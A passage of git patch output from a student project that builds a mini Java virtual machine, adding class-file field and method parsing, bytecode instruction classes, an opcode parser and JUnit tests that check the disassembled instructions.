 import com.coderising.jvm.constant.NameAndTypeInfo;
 import com.coderising.jvm.constant.StringInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
 
 public class ClassFileParser {
 
@@ -20,7 +27,7 @@ public ClassFile parse(byte[] codes) {
 		}
 		ByteCodeIterator it = new ByteCodeIterator(codes);
 		ClassFile clzFile = new ClassFile();
-		it.skip(4);
+		it.skip(4);	//CAFE BABE
 		clzFile.setMinorVersion(it.next2ByteToInt());
 		clzFile.setMajorVersion(it.next2ByteToInt());
 		
@@ -33,9 +40,66 @@ public ClassFile parse(byte[] codes) {
 		//classIndex
 		clzFile.setClassIndex(parseClassInfex(it));
 		
+		//interfaces TODO 
+		int interfaceCount = it.next2ByteToInt();
+		Assert.assertEquals("no have ", 0, interfaceCount);
+		
+		//fields
+		parseField(it, clzFile);
+		
+		//methods
+		parseMethod(it, clzFile);
+		
 		return clzFile;
 	}
 
+	private void parseMethod(ByteCodeIterator it, ClassFile clzFile) {
+		int methodCount = it.next2ByteToInt();
+		while(methodCount > 0) {
+			Method method = new Method();
+			int accessFlag = it.next2ByteToInt();
+			int nameIndex = it.next2ByteToInt();
+			int descIndex = it.next2ByteToInt();
+			int attrCount = it.next2ByteToInt();
+			method.setAccessFlag(accessFlag);
+			method.setNameIndex(nameIndex);
+			method.setDescIndex(descIndex);
+			method.setConstantPool(clzFile.getConstantPool());
+			while(attrCount > 0) {
+				int attrNameIndex = it.next2ByteToInt();
+				String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+				if(AttributeInfo.ATTR_CODE.equals(attrName)) {	//code
+					it.back(2);
+					CodeAttr codeAttr = CodeAttr.parse(it, clzFile.getConstantPool());
+					method.setCodeAttr(codeAttr);
+				} else {
+					throw new RuntimeException("no implements attributeName: " + attrName);
+				}
+				attrCount--;
+			}
+			clzFile.addMethod(method);
+			methodCount--;
+		}
+	}
+
+	private void parseField(ByteCodeIterator it, ClassFile clzFile) {
+		int fieldCount = it.next2ByteToInt();
+		while(fieldCount > 0) {
+			Field field = new Field();
+			int accessFlag = it.next2ByteToInt();
+			int nameIndex = it.next2ByteToInt();
+			int descIndex = it.next2ByteToInt();
+			int attrCount = it.next2ByteToInt();
+			Assert.assertEquals("no have ", 0, attrCount);	//TODO
+			field.setAccessFlag(accessFlag);
+			field.setNameIndex(nameIndex);
+			field.setDescIndex(descIndex);
+			field.setConstantPool(clzFile.getConstantPool());
+			clzFile.addFiled(field);
+			fieldCount--;
+		}
+	}
+
 	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
 		int value = iter.next2ByteToInt();
 		AccessFlag accessFlag = new AccessFlag(value);
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/method/Method.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..08efcafaf1
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/method/Method.java
@@ -0,0 +1,43 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class Method {
+	private int accessFlag;
+	private int nameIndex;
+	private int descIndex;
+	private ConstantPool constantPool;
+	private CodeAttr codeAttr;
+	public int getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(int accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public void setConstantPool(ConstantPool constantPool) {
+		this.constantPool = constantPool;
+	}
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+	public void setCodeAttr(CodeAttr codeAttr) {
+		this.codeAttr = codeAttr;
+	}
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java b/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
index 8c8d7b5f44..45a80b9607 100644
--- a/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.test;
 
+import java.util.List;
+
 import org.junit.After;
 import  org.junit.Assert;
 import org.junit.Before;
@@ -13,7 +15,9 @@
 import com.coderising.jvm.constant.MethodRefInfo;
 import com.coderising.jvm.constant.NameAndTypeInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
 
 public class ClassFileloaderTest {
 
@@ -199,5 +203,79 @@ public void testAccessFlag() {
     	Assert.assertEquals(true, accessFlag.isPublicClass());
     	Assert.assertEquals(false, accessFlag.isFinalClass());
     }
+    
+    /***
+     *  third ------------------------------------------------------------------------------------------------------------
+     */
+    
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
 
 }

From c57c03d57f44ed82dd8595856289f4eaf05326e1 Mon Sep 17 00:00:00 2001
From: xiaomingbai <498654356@qq.com>
Date: Sat, 22 Apr 2017 19:24:56 +0800
Subject: [PATCH 103/262] add cmd

---
 .../com/coderising/jvm/attr/CodeAttr.java     |  13 ++
 .../com/coderising/jvm/clz/ClassFile.java     |  14 ++
 .../com/coderising/jvm/cmd/BiPushCmd.java     |   5 +
 .../coderising/jvm/cmd/ByteCodeCommand.java   |  85 ++++++++++++
 .../com/coderising/jvm/cmd/CommandParser.java | 127 ++++++++++++++++++
 .../com/coderising/jvm/cmd/GetStaticCmd.java  |   5 +
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |   5 +
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |   5 +
 .../java/com/coderising/jvm/cmd/LdcCmd.java   |   5 +
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |   5 +
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  10 ++
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  15 +++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |   5 +
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  16 +++
 .../com/coderising/jvm/method/Method.java     |   4 +
 .../jvm/test/ClassFileloaderTest.java         |  78 +++++++++++
 16 files changed, 397 insertions(+)
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/BiPushCmd.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/CommandParser.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/GetStaticCmd.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/LdcCmd.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/NewObjectCmd.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/NoOperandCmd.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/OneOperandCmd.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/PutFieldCmd.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/TwoOperandCmd.java

diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/CodeAttr.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/CodeAttr.java
index 0f09f3f02b..3211cac50c 100644
--- a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/CodeAttr.java
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/CodeAttr.java
@@ -2,6 +2,8 @@
 
 import org.junit.Assert;
 
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
@@ -13,6 +15,10 @@ public class CodeAttr extends AttributeInfo{
 	private String code;
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVariableTable;
+	private ByteCodeCommand[] cmds;
+	public void setCmds(ByteCodeCommand[] cmds) {
+		this.cmds = cmds;
+	}
 	public LocalVariableTable getLocalVariableTable() {
 		return localVariableTable;
 	}
@@ -59,6 +65,8 @@ public static CodeAttr parse(ByteCodeIterator it, ConstantPool constantPool) {
 		int maxLocals = it.next2ByteToInt();
 		int codeLength = it.next4ByteToInt();
 		String code = it.nextXByteToHexStr(codeLength);
+		ByteCodeCommand[] cmds = CommandParser.parse(constantPool, code);
+		
 		int exceptionTableLength = it.next2ByteToInt();
 		Assert.assertEquals(0, exceptionTableLength);
 		
@@ -67,6 +75,7 @@ public static CodeAttr parse(ByteCodeIterator it, ConstantPool constantPool) {
 		codeAttr.setMaxLocals(maxLocals);
 		codeAttr.setCodeLength(codeLength);
 		codeAttr.setCode(code);
+		codeAttr.setCmds(cmds);
 		
 		int subAttrCount = it.next2ByteToInt();
 		while(subAttrCount > 0) {
@@ -85,5 +94,9 @@ public static CodeAttr parse(ByteCodeIterator it, ConstantPool constantPool) {
 		}
 		return codeAttr;
 	}
+	
+	public ByteCodeCommand[] getCmds() {
+		return this.cmds;
+	}
 
 }
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java
index 387d6cad30..f13a8d538c 100644
--- a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java
@@ -77,5 +77,19 @@ public List<Method> getMethods() {
 	public void addMethod(Method method) {
 		this.methods.add(method);
 	}
+
+	public Method getMethod(String methodName, String paramterType) {
+		for (Method method: this.methods) {
+			if(getConstantPool().getUTF8String(method.getNameIndex()).equals(methodName) 
+				&& getConstantPool().getUTF8String(method.getDescIndex()).equals(paramterType)) {
+				return method;
+			}
+		}
+		return null;
+	}
+
+	public Method getMainMethod() {
+		return this.getMethod("main", "([Ljava/lang/String;)V");
+	}
 	
 }
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/BiPushCmd.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..cbffcfc6a9
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.cmd;
+
+public class BiPushCmd extends OneOperandCmd {
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/ByteCodeCommand.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..1f3c0fa0eb
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,85 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public abstract class ByteCodeCommand {
+	private int offset;
+	private String opCode;
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	public String getOpCode() {
+		return opCode;
+	}
+	public void setOpCode(String opCode) {
+		this.opCode = opCode;
+	}
+	public String getReadableCodeText() {
+		String str = codeMap.get(this.opCode);
+		if(str == null) {
+			str = this.opCode;
+		}
+		return str;
+	}
+	
+	abstract public int getLength();
+	
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/CommandParser.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..884c5f856d
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,127 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+public class CommandParser {
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ConstantPool constantPool, String code) {
+		CommandIterator it = new CommandIterator(code);
+		List<ByteCodeCommand> cmds = new ArrayList<>();
+		while(it.hasNext()) {
+			String opCode = it.next2CharAsString().toUpperCase();
+			if(aload_0.equalsIgnoreCase(opCode) || aload_1.equalsIgnoreCase(opCode) || aload_2.equalsIgnoreCase(opCode) 
+				|| voidreturn.equalsIgnoreCase(opCode) || dup.equalsIgnoreCase(opCode) || astore_1.equalsIgnoreCase(opCode)
+				|| iload_1.equalsIgnoreCase(opCode) || iload_2.equalsIgnoreCase(opCode) || iload_3.equalsIgnoreCase(opCode)){
+				NoOperandCmd cmd = new NoOperandCmd();
+				cmd.setOpCode(opCode);
+				cmds.add(cmd);
+			} else if(invokespecial.equalsIgnoreCase(opCode)) {
+				addTwoOperandCmd(it, cmds, opCode, new InvokeSpecialCmd());
+			} else if(putfield.equalsIgnoreCase(opCode)) {
+				addTwoOperandCmd(it, cmds, opCode, new PutFieldCmd());
+			} else if(getstatic.equalsIgnoreCase(opCode)) {
+				addTwoOperandCmd(it, cmds, opCode, new GetStaticCmd());
+			} else if(invokevirtual.equalsIgnoreCase(opCode)) {
+				addTwoOperandCmd(it, cmds, opCode, new InvokeVirtualCmd());
+			} else if(new_object.equalsIgnoreCase(opCode)) {
+				addTwoOperandCmd(it, cmds, opCode, new NewObjectCmd());
+			} else if(ldc.equalsIgnoreCase(opCode)) {
+				addOneOperandCmd(it, cmds, opCode, new LdcCmd());
+			} else if(bipush.equalsIgnoreCase(opCode)) {
+				addOneOperandCmd(it, cmds, opCode, new BiPushCmd());
+			} else {
+				throw new RuntimeException("no implements opCode : " + opCode);
+			}
+		}
+		calcuateOffset(cmds);
+		return cmds.toArray(new ByteCodeCommand[cmds.size()]);
+	}
+
+	private static void addOneOperandCmd(CommandIterator it, List<ByteCodeCommand> cmds, String opCode, OneOperandCmd cmd) {
+		cmd.setOpCode(opCode);
+		cmd.setOperand(it.next2CharAsInt());
+		cmds.add(cmd);
+	}
+
+	private static void addTwoOperandCmd(CommandIterator it, List<ByteCodeCommand> cmds, String opCode,
+			TwoOperandCmd cmd) {
+		cmd.setIndex(it.next4CharAsInt());
+		cmd.setOpCode(opCode);
+		cmds.add(cmd);
+	}
+	
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+	}
+	
+	private static class CommandIterator {
+		private String code;
+		private int index = 0;
+		public CommandIterator(String code) {
+			super();
+			this.code = code;
+		}
+		public boolean hasNext() {
+			return index < code.length();
+		}
+		public String next2CharAsString() {
+			String result = code.substring(index, index + 2);
+			index += 2;
+			return result;
+		}
+		public int next2CharAsInt() {
+			String str = this.next2CharAsString();
+			return hexStrToInt(str);
+		}
+		public int next4CharAsInt() {
+			String s1 = this.next2CharAsString();
+			String s2 = this.next2CharAsString();
+			return ((hexStrToInt(s1) << 8) | hexStrToInt(s2));
+		}
+		private int hexStrToInt(String s) {
+			return Integer.valueOf(s, 16).intValue();
+		}
+	}
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/GetStaticCmd.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/GetStaticCmd.java
new file mode 100644
index 0000000000..f1cbe78121
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/GetStaticCmd.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.cmd;
+
+public class GetStaticCmd extends TwoOperandCmd {
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..c7c978ebe7
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.cmd;
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..37161c21a8
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.cmd;
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/LdcCmd.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..1b89885043
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.cmd;
+
+public class LdcCmd extends OneOperandCmd {
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/NewObjectCmd.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..18c04527e9
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.cmd;
+
+public class NewObjectCmd extends TwoOperandCmd {
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/NoOperandCmd.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..35a279198a
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,10 @@
+package com.coderising.jvm.cmd;
+
+public class NoOperandCmd extends ByteCodeCommand {
+
+	@Override
+	public int getLength() {
+		return 1;
+	}
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/OneOperandCmd.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..30f0ea3d80
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,15 @@
+package com.coderising.jvm.cmd;
+
+public class OneOperandCmd extends ByteCodeCommand {
+	private int operand;
+	public int getOperand() {
+		return operand;
+	}
+	public void setOperand(int operand) {
+		this.operand = operand;
+	}
+	@Override
+	public int getLength() {
+		return 2;
+	}
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/PutFieldCmd.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..378b0087c3
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.cmd;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/TwoOperandCmd.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..3bee83d23b
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,16 @@
+package com.coderising.jvm.cmd;
+
+public class TwoOperandCmd extends ByteCodeCommand {
+	private int index;
+	public void setIndex(int index) {
+		this.index = index;
+	}
+	public int getIndex() {
+		return this.index;
+	}
+	@Override
+	public int getLength() {
+		return 3;
+	}
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/method/Method.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/method/Method.java
index 08efcafaf1..1ce4b51c2c 100644
--- a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/method/Method.java
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/method/Method.java
@@ -1,6 +1,7 @@
 package com.coderising.jvm.method;
 
 import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.cmd.ByteCodeCommand;
 import com.coderising.jvm.constant.ConstantPool;
 
 public class Method {
@@ -39,5 +40,8 @@ public CodeAttr getCodeAttr() {
 	public void setCodeAttr(CodeAttr codeAttr) {
 		this.codeAttr = codeAttr;
 	}
+	public ByteCodeCommand[] getCmds() {
+		return this.getCodeAttr().getCmds();
+	}
 
 }
diff --git a/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java b/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
index 45a80b9607..7174e88414 100644
--- a/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -10,6 +10,10 @@
 import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.MethodRefInfo;
@@ -277,5 +281,79 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
     }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
